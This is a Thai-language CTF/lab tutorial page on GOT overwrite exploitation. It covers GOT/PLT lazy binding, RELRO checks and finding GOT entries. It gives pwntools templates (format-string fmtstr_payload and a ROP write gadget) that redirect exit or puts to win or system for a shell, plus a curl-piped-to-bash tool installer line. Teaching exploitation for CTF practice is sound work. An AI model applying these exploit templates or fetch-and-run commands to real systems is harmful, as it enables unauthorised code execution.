คลัง
pwn

GOT Overwrite

GOT Overwrite เขียนทับ entry ใน Global Offset Table เพื่อเปลี่ยนปลายทางของฟังก์ชัน library — เมื่อโปรแกรมเรียกฟังก์ชันนั้นครั้งถัดไป จะกระโดดไป address ที่เราใส่แทน บทนี้ลงลึกกลไก GOT/PLT/lazy binding, RELRO ทุกระดับ, การหา GOT, วิธี overwrite (format string/write primitive), และเป้าหมายที่นิยม (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#got#plt#got-overwrite#pwn#relro#lazy-binding#ctf

1. GOT/PLT และ lazy binding

โปรแกรมที่ link แบบ dynamic ไม่รู้ address จริงของฟังก์ชัน libc ตอน compile จึงใช้กลไก 2 ตาราง: PLT (Procedure Linkage Table — stub ที่โค้ดเรียก) และ GOT (Global Offset Table — เก็บ address จริง) ด้วย lazy binding ครั้งแรกที่เรียกฟังก์ชัน PLT จะให้ dynamic linker resolve หา address จริงแล้วเขียนลง GOT ครั้งต่อไปเรียกตรงจาก GOT — ดังนั้นถ้าเราเขียนทับ GOT entry ให้ชี้ไปที่อื่น (เช่น system/win) ครั้งต่อไปที่โปรแกรมเรียกฟังก์ชันนั้นจะรันสิ่งที่เราใส่แทน

GOT overwrite: เปลี่ยนปลายทาง puts → win
GOT overwrite — เปลี่ยนปลายทาง puts → win call puts@plt (ในโค้ด) GOT[puts] เก็บ address จริง libc puts() win() ← เขียนทับ เขียน GOT[puts] = &win → ครั้งถัดที่ call puts() จะรัน win() แทน // ต้อง Partial RELRO หรือ No RELRO (GOT เขียนได้)
เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) เท่านั้น

2. RELRO — ตัวกำหนดว่าทำได้ไหม

RELRO (RELocation Read-Only) คือ mitigation ที่ทำ GOT เป็น read-only — เป็นตัวตัดสินว่า GOT overwrite ทำได้หรือไม่ ตรวจด้วย checksec

RELROGOT เขียนได้?ผล
No RELROได้ทั้งหมดoverwrite ได้ง่าย
Partial RELROGOT เขียนได้ (lazy binding)overwrite ได้ (พบบ่อยสุด)
Full RELROGOT read-onlyoverwrite ไม่ได้ → หาเป้าอื่น
Full RELRO → GOT overwrite ทำไม่ได้ ต้องเปลี่ยนเป้า: __free_hook/__malloc_hook (libc<2.34), return address, exit handlers, หรือ FSOP (file stream) แทน

3. หา GOT entry

objdump / readelf / pwntoolsLinux
# objdump — ดู GOT relocations
objdump -R ./vuln | grep -iE 'puts|printf|exit'
# readelf
readelf -r ./vuln | grep puts

# pwntools (ในสคริปต์)
python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.got['puts']), hex(e.plt['puts']))"
# e.got['puts'] = address ของ GOT entry (เป้าที่จะเขียน)
# e.plt['puts'] = address ของ PLT stub (ไว้เรียก)
e.got['func'] = ที่เก็บ address จริง (เขียนตรงนี้); e.plt['func'] = stub (เรียกตรงนี้)

4. วิธี overwrite (ต้องมี write primitive)

GOT overwrite ต้องมี arbitrary write primitive ก่อน — ที่พบบ่อยคือ format string (%n) หรือ write-what-where gadget จาก ROP หรือ heap exploitation

overwrite ด้วย format stringLinux
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')

offset = 6                           # format string offset (ดู format-string)
# เขียน GOT[exit] = win → เมื่อโปรแกรมเรียก exit() จะรัน win
payload = fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})
p.sendline(payload)
p.interactive()
เลือกเป้าที่ 'ถูกเรียกหลังจากเราเขียนเสร็จ' (เช่น exit, puts ที่เรียกอีกครั้ง)
overwrite ด้วย write-what-where gadget (ROP)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
rop = ROP(elf)
# gadget: mov [rdi], rsi ; ret  (เขียน rsi ลง [rdi])
# จัด rdi = GOT entry, rsi = ค่าใหม่ แล้วเรียก gadget
rop.rdi = elf.got['puts']
rop.rsi = elf.symbols['win']
rop.raw(WRITE_GADGET)                # mov [rdi],rsi; ret
payload = b'A'*72 + rop.chain()
หา write gadget: ROPgadget | grep 'mov .*\[rdi\], rsi'; แล้วเรียก func ที่ถูก overwrite

5. เป้าหมายที่นิยม + เลือกให้ดี

  • GOT[exit] → win/system: ดี เพราะ exit ถูกเรียกตอนจบ (หลังเราเขียนเสร็จ)
  • GOT[puts]/[printf] → system: ถ้าโปรแกรมเรียกอีกครั้งด้วย arg ที่เราคุม (เช่น puts(input) → system(input))
  • GOT ของ loop function: ฟังก์ชันที่ถูกเรียกซ้ำใน loop
  • ระวัง: อย่าเขียนทับฟังก์ชันที่ ถูกเรียกก่อนเราเขียนเสร็จ (จะ crash ก่อน)
  • เทคนิคคลาสสิก: GOT[strlen/puts] → system แล้วถ้าโปรแกรมทำ puts(user_input) = system(user_input) → ใส่ "/bin/sh"

6. Quick Reference

  • GOT = ตาราง address จริงของ libc func (lazy binding)
  • overwrite GOT entry → เปลี่ยนปลายทางฟังก์ชัน
  • ต้อง Partial/No RELRO (Full RELRO = GOT readonly → เป้าอื่น)
  • หา: objdump -R ./vuln | grep func; e.got['func']
  • เขียนด้วย: fmtstr_payload / write gadget ROP / heap
  • เป้านิยม: GOT[exit]→win; GOT[puts]→system
  • เลือกเป้าที่ถูกเรียก 'หลัง' เราเขียนเสร็จ

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติมี write primitive (จาก format string หรือ ROP write gadget) แล้ว แต่ยังไม่รู้จะเขียนไปที่ไหนถึงจะได้ shell — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น

  1. 1เช็ค RELRO ก่อนอื่น: checksec ./vuln ดูว่า No/Partial/Full
  2. 2ถ้า Full RELRO หยุดตรงนี้ — GOT เขียนไม่ได้ ต้องหาเป้าอื่น (ดู flow ด้านล่าง)
  3. 3ถ้า No/Partial หา address ของ GOT entry: objdump -R ./vuln | grep -iE 'puts|exit|printf'
  4. 4หรือใช้ pwntools: python3 -c "from pwn import *; e=ELF('./vuln'); print(hex(e.got['puts']))"
  5. 5เลือกเป้าที่ 'ถูกเรียกหลัง' เราเขียนเสร็จ — เช่น GOT[exit] มักปลอดภัยสุด
  6. 6ถ้ามี format string: สร้าง payload ด้วย fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})
  7. 7ถ้ามี write gadget จาก ROP: จัด rdi=GOT entry, rsi=ค่าใหม่ แล้วเรียก gadget mov [rdi], rsi ; ret
  8. 8ส่ง payload แล้ว trigger ให้โปรแกรมเรียกฟังก์ชันที่ถูก overwrite (เช่นให้โปรแกรม exit เอง)
  9. 9ถ้าได้ shell แล้วจบ; ถ้ายังไม่ได้ ลองเป้าอื่น เช่น GOT[puts]→system แล้วให้โปรแกรม puts(user_input)
  10. 10ยืนยัน local สำเร็จก่อนค่อยยิง remote
จับมือทำ: GOT overwrite จนได้ shell
checksec ดู RELRO
✅ No/Partial RELRO→ GOT เขียนได้ ไปหา entry
❌ Full RELRO→ GOT เขียนไม่ได้ ต้องเปลี่ยนเป้า
หา address ของ GOT entry (objdump -R / e.got[])
✅ ได้ address แล้ว→ เลือกเป้าที่ถูกเรียกทีหลัง
❌ ไม่มี dynamic linking (static binary)→ ไม่มี GOT ให้ overwrite — หาทางอื่น
มี write primitive อะไร (format string/ROP write gadget)
✅ มี format string→ ใช้ fmtstr_payload เขียน GOT
✅ มี write gadget (ROP)→ จัด rdi/rsi แล้วเรียก gadget
❌ ยังไม่มี write primitive→ ต้องไปหาช่องโหว่ leak/write ก่อน
fmtstr_payload(offset, {got[exit]: win})
mov [rdi], rsi; ret gadget เขียน GOT
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดู RELROchecksec--
หา GOT/PLT addressobjdump, readelf-dogbolt.org
สร้าง write payloadpwntoolspip install pwntools-
หา write gadgetROPgadget / ropperpip install ropperropshell.com
debug ยืนยันค่า GOTgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
decompile ดูว่าฟังก์ชันไหนถูกเรียกซ้ำradare2 / Ghidraapt install radare2dogbolt.org
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) format-string — ถ้ายังไม่มี write primitive ให้ไปสร้างจาก format string ก่อน (2) rop — ถ้าต้องใช้ write gadget จาก ROP chain แทน format string (3) heap-exploitation — ถ้า Full RELRO บล็อก GOT ไปทาง __free_hook/tcache/FSOP แทน (4) ret2libc — ถ้าเป้าหมายสุดท้ายแค่อยากได้ system("/bin/sh") โดยไม่ต้องยุ่งกับ GOT เลยก็ได้

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้